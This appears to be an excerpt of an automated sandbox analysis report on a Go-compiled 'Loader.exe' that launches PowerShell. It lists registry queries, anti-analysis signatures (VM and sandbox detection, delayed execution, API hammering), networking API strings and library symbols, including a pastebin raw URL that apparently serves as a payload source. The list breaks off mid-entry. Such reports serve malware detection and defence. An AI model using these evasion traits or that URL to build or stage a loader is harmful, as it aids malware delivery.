"HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALCERTCOUNT"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXVERIFYSIGNATURECOUNTPERCHAIN"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXISSUERDEPTH"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXPATHCOUNTPERCHAIN"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "CRYPTNETPREFETCHTRIGGERPERIODSECONDS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "ENABLEWEAKSIGNATUREFLAGS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MINRSAPUBKEYBITLENGTH"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "WEAKRSAPUBKEYTIME"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "CHAINCACHERESYNCFILETIME"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "ENABLESTRICTCHECKSFLAGS"; Value: "")4b:T46e,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify sandbox environment running process Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Contains ability to detect virtual environment Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Tries to delay execution using PowerShell Matched sigs: Tries to sleep using powershell Matched sigs: The input sample contains the RDTSCP instruction4c:Taad,"Loader.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "Loader.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\winnlsres.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll"4d:Tb13,"Loader.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}" "Loader.exe" trying to access non-existent file "\Device\RasAcd" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.cdxml"4e:T5aa,file/memory contains long string with (Indicator: "wsastartup"; File: "Loader.exe") file/memory contains long string with (Indicator: "wsacleanup"; File: "Loader.exe") file/memory contains long string with (Indicator: "gethostbyname"; File: "Loader.exe") file/memory contains long string with (Indicator: " send "; File: "Loader.exe") file/memory contains long string with (Indicator: " accept "; File: "Loader.exe") file/memory contains long string with (Indicator: " connect "; File: "Loader.exe") file/memory contains long string with (Indicator: " shutdown "; File: "Loader.exe") file/memory contains long string with (Indicator: " socket "; File: "Loader.exe") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; File: "Loader.exe") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00007632-00000C2C-3485147765") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found reference to API "ile System Bind Data" (Indicator: " bind "; Source: "00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp")4f:T8d1a,Heuristic match: "*big.int" Heuristic match: "*pkix.name" Pattern match: "golang.org/x/net/idna" Pattern match: "golang.org/x/crypto/cryptobyte" Pattern match: "golang.org/x/text/unicode/norm" Pattern match: "golang.org/x/net/http/httpproxy" Pattern match: "golang.org/x/net/dns/dnsmessage" Pattern match: "golang.org/x/crypto/cryptobyte/asn1" Pattern match: "golang.org/x/crypto/chacha20poly1305" Pattern match: "pastebin.com/raw/tctvxh33pseudo" Pattern match: "https://go.dev/issue/66821" Pattern match: "golang.org/s/cgihttpproxyx509" Pattern match: "go.dev/pkg/crypto/rsa#hdr-minimum_key_size" Heuristic match: "internal/abi.name.name" Heuristic match: "type:.eq.internal/godebugs.info" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Heuristic match: "runtime.(*func).name" Heuristic match: "internal/reflectlite.name.name" Heuristic match: "internal/reflectlite.rtype.name" Heuristic match: "internal/abi.(*functype).in" Heuristic match: "internal/reflectlite.flag.ro" Heuristic match: "internal/reflectlite.(*rtype).name" Heuristic match: "errors.is" Heuristic match: "errors.as" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.int32" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[sync.poolchainelt" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Heuristic match: "unicode.to" Pattern match: "eq.sync/atomic.pointer[internal/bisect.dedup" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Heuristic match: "os.(*file).name" Heuristic match: "os.(*filestat).name" Pattern match: "eq.sync/atomic.pointer[os.dirinfo" Heuristic match: "os.filewithoutreadfrom.name" Heuristic match: "os.(*filewithoutreadfrom).name" Heuristic match: "os.filewithoutwriteto.name" Heuristic match: "os.(*filewithoutwriteto).name" Heuristic match: "reflect.value.int" Heuristic match: "reflect.flag.ro" Heuristic match: "reflect.(*rtype).name" Pattern match: "eq.math/rand.lockedsource" Pattern match: "eq.math/rand.runtimesource" Pattern match: "eq.math/rand.rand" Pattern match: "golang.org/x/crypto/cryptobyte.init" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1boolean" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1integer" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1bigint" Pattern match: "golang.org/x/crypto/cryptobyte.checkasn1integer" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1bytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1int64" Pattern match: "golang.org/x/crypto/cryptobyte.asn1signed" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1uint64" Pattern match: "golang.org/x/crypto/cryptobyte.asn1unsigned" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1int64withtag" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readbase128int" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).read" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1objectidentifier" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1generalizedtime" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1utctime" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1bitstring" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readanyasn1" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readasn1element" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readanyasn1element" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readoptionalasn1" Pattern match: "golang.org/x/crypto/cryptobyte.string.peekasn1tag" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).skipoptionalasn1" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readoptionalasn1integer" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readunsigned" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readbytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).skip" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint8" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).add" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint16" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint32" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).addbytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint16lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint24lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).callcontinuation" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).callcontinuation.func1" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).addlengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).flushchild" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readlengthprefixed" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[*internal/abi.type,interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.*internal/abi.type,go.shape.interface" Pattern match: "eq.net/netip.parseaddrerror" Pattern match: "eq.net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.node[net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.entry[net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.indirect[net/netip.addrdetail" Pattern match: "hash.net/netip.addrdetail" Pattern match: "eq.sync/atomic.pointer[unique.entry[go.shape.struct" Pattern match: "golang.org/x/net/dns/dnsmessage.(*nestederror).error" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.packuint16" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).unpack" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackuint16" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).start" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).header" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).resourceheader" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).checkadvance" Pattern match: "golang.org/x/net/dns/dnsmessage.(*header).count" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipresource" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).question" Pattern match: "golang.org/x/net/dns/dnsmessage.unpacktype" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackclass" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipquestion" Pattern match: "golang.org/x/net/dns/dnsmessage.skipname" Pattern match: "golang.org/x/net/dns/dnsmessage.skiptype" Pattern match: "golang.org/x/net/dns/dnsmessage.skipuint16" Pattern match: "golang.org/x/net/dns/dnsmessage.skipclass" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).cnameresource" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).aresource" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackaresource" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackbytes" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).aaaaresource" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackaaaaresource" Pattern match: "golang.org/x/net/dns/dnsmessage.newbuilder" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).question" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).incrementsectioncount" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).optresource" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).checkresourcesection" Pattern match: "golang.org/x/net/dns/dnsmessage.(*optresource).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.packbytes" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).fixlen" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).finish" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.packtype" Pattern match: "golang.org/x/net/dns/dnsmessage.packclass" Pattern match: "golang.org/x/net/dns/dnsmessage.packuint32" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).unpack" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackuint32" Pattern match: "golang.org/x/net/dns/dnsmessage.skipresource" Pattern match: "golang.org/x/net/dns/dnsmessage.skipuint32" Pattern match: "golang.org/x/net/dns/dnsmessage.(*name).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.(*name).unpack" Pattern match: "golang.org/x/net/dns/dnsmessage.(*question).pack" Pattern match: "golang.org/x/net/dns/dnsmessage.unpackcnameresource" Pattern match: "golang.org/x/net/dns/dnsmessage.init" Pattern match: "golang.org/x/net/dns/dnsmessage.nestederror" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).startquestions" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).startcheck" Pattern match: "golang.org/x/net/dns/dnsmessage.(*builder).startadditionals" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).setedns0" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).answerheader" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipanswer" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipallanswers" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipallauthorities" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipauthority" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).additionalheader" Pattern match: "golang.org/x/net/dns/dnsmessage.(*parser).skipadditional" Pattern match: "golang.org/x/net/dns/dnsmessage.(*resourceheader).extendedrcode" Pattern match: "golang.org/x/net/dns/dnsmessage.newname" Heuristic match: "net.(*ipv6zonecache).name" Heuristic match: "net.cancelederror.is" Heuristic match: "net.(*timeouterror).is" Heuristic match: "net.(*cancelederror).is" Pattern match: "eq.net/url.error" Pattern match: "eq.net/url.url" Pattern match: "eq.net/url.userinfo" Heuristic match: "encoding/asn1.bitstring.at" Pattern match: "golang.org/x/sys/cpu.init.0" Pattern match: "golang.org/x/sys/cpu.processoptions" Pattern match: "golang.org/x/sys/cpu.initoptions" Pattern match: "golang.org/x/sys/cpu.archinit" Pattern match: "golang.org/x/sys/cpu.isset" Pattern match: "golang.org/x/sys/cpu.init.1" Pattern match: "golang.org/x/sys/cpu.cpuid" Pattern match: "golang.org/x/sys/cpu.xgetbv" Pattern match: "golang.org/x/sys/cpu.option" Pattern match: "golang.org/x/crypto/chacha20.newunauthenticatedcipher" Pattern match: "golang.org/x/crypto/chacha20.hchacha20" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystream" Pattern match: "golang.org/x/crypto/internal/alias.inexactoverlap" Pattern match: "golang.org/x/crypto/internal/alias.anyoverlap" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystreamblocks" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).xorkeystreamblocksgeneric" Pattern match: "golang.org/x/crypto/chacha20.quarterround" Pattern match: "golang.org/x/crypto/chacha20.addxor" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).verify" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).write" Pattern match: "golang.org/x/crypto/internal/poly1305.(*mac).sum" Pattern match: "golang.org/x/crypto/internal/poly1305.finalize" Pattern match: "golang.org/x/crypto/internal/poly1305.select64" Pattern match: "golang.org/x/crypto/internal/poly1305.update" Pattern match: "golang.org/x/crypto/chacha20poly1305.init" Pattern match: "golang.org/x/crypto/chacha20poly1305.new" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).noncesize" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).overhead" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).seal" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).open" Pattern match: "golang.org/x/crypto/chacha20poly1305.setupstate" Pattern match: "golang.org/x/crypto/chacha20poly1305.sliceforappend" Pattern match: "golang.org/x/crypto/chacha20poly1305.writewithpadding" Pattern match: "golang.org/x/crypto/chacha20poly1305.writeuint64" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).sealgeneric" Pattern match: "golang.org/x/crypto/chacha20.(*cipher).setcounter" Pattern match: "golang.org/x/crypto/internal/poly1305.new" Pattern match: "golang.org/x/crypto/internal/poly1305.initialize" Pattern match: "golang.org/x/crypto/chacha20poly1305.(*chacha20poly1305).opengeneric" Pattern match: "golang.org/x/crypto/chacha20poly1305.chacha20poly1305open" Pattern match: "golang.org/x/crypto/chacha20poly1305.chacha20poly1305seal" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint16" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint8" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint16lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint8lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).bytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).addvalue" Pattern match: "golang.org/x/crypto/cryptobyte.(*builder).adduint8lengthprefixed" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).copybytes" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint32" Pattern match: "golang.org/x/crypto/cryptobyte.string.empty" Pattern match: "golang.org/x/crypto/cryptobyte.(*string).readuint24lengthprefixed" Pattern match: "eq.sync/atomic.pointer[string" Pattern match: "eq.net/http/httptrace.gotconninfo" Pattern match: "golang.org/x/text/unicode/bidi.lookuprune" Pattern match: "golang.org/x/text/unicode/bidi.lookup" Pattern match: "golang.org/x/text/unicode/bidi.(*biditrie).lookupvalue" Pattern match: "golang.org/x/text/unicode/bidi.lookupstring" Pattern match: "golang.org/x/text/secure/bidirule.directionstring" Pattern match: "golang.org/x/text/unicode/bidi.properties.class" Pattern match: "golang.org/x/text/secure/bidirule.validstring" Pattern match: "golang.org/x/text/secure/bidirule.(*transformer).isfinal" Pattern match: "golang.org/x/text/secure/bidirule.init.0" Pattern match: "golang.org/x/text/secure/bidirule.(*transformer).advancestring" Pattern match: "golang.org/x/text/secure/bidirule.(*transformer).isrtl" Pattern match: "golang.org/x/text/unicode/norm.init" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).doflush" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).reset" Pattern match: "golang.org/x/text/unicode/norm.appendflush" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertflush" Pattern match: "golang.org/x/text/unicode/norm.properties.hasdecomposition" Pattern match: "golang.org/x/text/unicode/norm.properties.decomposition" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertunsafe" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertdecomposed" Pattern match: "golang.org/x/text/unicode/norm.(*input).setbytes" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertordered" Pattern match: "golang.org/x/text/unicode/norm.properties.boundarybefore" Pattern match: "golang.org/x/text/unicode/norm.properties.combinesbackward" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertsingle" Pattern match: "golang.org/x/text/unicode/norm.(*input).copyslice" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).appendrune" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).assignrune" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).runeat" Pattern match: "golang.org/x/text/unicode/norm.decomposehangul" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).decomposehangul" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).combinehangul" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).compose" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).bytesat" Pattern match: "golang.org/x/text/unicode/norm.isjamovt" Pattern match: "golang.org/x/text/unicode/norm.combine" Pattern match: "golang.org/x/text/unicode/norm.buildrecompmap" Pattern match: "golang.org/x/text/unicode/norm.lookupinfonfc" Pattern match: "golang.org/x/text/unicode/norm.lookupinfonfkc" Pattern match: "golang.org/x/text/unicode/norm.compinfo" Pattern match: "golang.org/x/text/unicode/norm.(*input).charinfonfc" Pattern match: "golang.org/x/text/unicode/norm.(*input).charinfonfkc" Pattern match: "golang.org/x/text/unicode/norm.(*input).hangul" Pattern match: "golang.org/x/text/unicode/norm.ishangul" Pattern match: "golang.org/x/text/unicode/norm.ishangulstring" Pattern match: "golang.org/x/text/unicode/norm.nexthangul" Pattern match: "golang.org/x/text/unicode/norm.(*iter).setdone" Pattern match: "golang.org/x/text/unicode/norm.(*streamsafe).next" Pattern match: "golang.org/x/text/unicode/norm.properties.nleadingnonstarters" Pattern match: "golang.org/x/text/unicode/norm.properties.ntrailingnonstarters" Pattern match: "golang.org/x/text/unicode/norm.nextdone" Pattern match: "golang.org/x/text/unicode/norm.nextmulti" Pattern match: "golang.org/x/text/unicode/norm.nextmultinorm" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).flushcopy" Pattern match: "golang.org/x/text/unicode/norm.nextdecomposed" Pattern match: "golang.org/x/text/unicode/norm.properties.multisegment" Pattern match: "golang.org/x/text/unicode/norm.(*input)._byte" Pattern match: "golang.org/x/text/unicode/norm.(*iter).returnslice" Pattern match: "golang.org/x/text/unicode/norm.donormdecomposed" Pattern match: "golang.org/x/text/unicode/norm.nextcgjdecompose" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).insertcgj" Pattern match: "golang.org/x/text/unicode/norm.(*streamsafe).first" Pattern match: "golang.org/x/text/unicode/norm.nextcomposed" Pattern match: "golang.org/x/text/unicode/norm.properties.isyesc" Pattern match: "golang.org/x/text/unicode/norm.donormcomposed" Pattern match: "golang.org/x/text/unicode/norm.nextcgjcompose" Pattern match: "golang.org/x/text/unicode/norm.form.bytes" Pattern match: "golang.org/x/text/unicode/norm.form.string" Pattern match: "golang.org/x/text/unicode/norm.form.isnormalstring" Pattern match: "golang.org/x/text/unicode/norm.(*reorderbuffer).setflusher" Pattern match: "golang.org/x/text/unicode/norm.form.isnormalstring.func1" Pattern match: "golang.org/x/text/unicode/norm.appendquick" Pattern match: "golang.org/x/text/unicode/norm.(*input).appendslice" Pattern match: "golang.org/x/text/unicode/norm.doappendinner" Pattern match: "golang.org/x/text/unicode/norm.(*forminfo).quickspan" Pattern match: "golang.org/x/text/unicode/norm.(*input).skipascii" Pattern match: "golang.org/x/text/unicode/norm.properties.isyesd" Pattern match: "golang.org/x/text/unicode/norm.decomposesegment" Pattern match: "golang.org/x/text/unicode/norm.properties.boundaryafter" Pattern match: "golang.org/x/text/unicode/norm.properties.isinert" Pattern match: "golang.org/x/text/unicode/norm.(*nfctrie).lookup" Pattern match: "golang.org/x/text/unicode/norm.(*nfctrie).lookupstring" Pattern match: "golang.org/x/text/unicode/norm.(*nfctrie).lookupvalue" Pattern match: 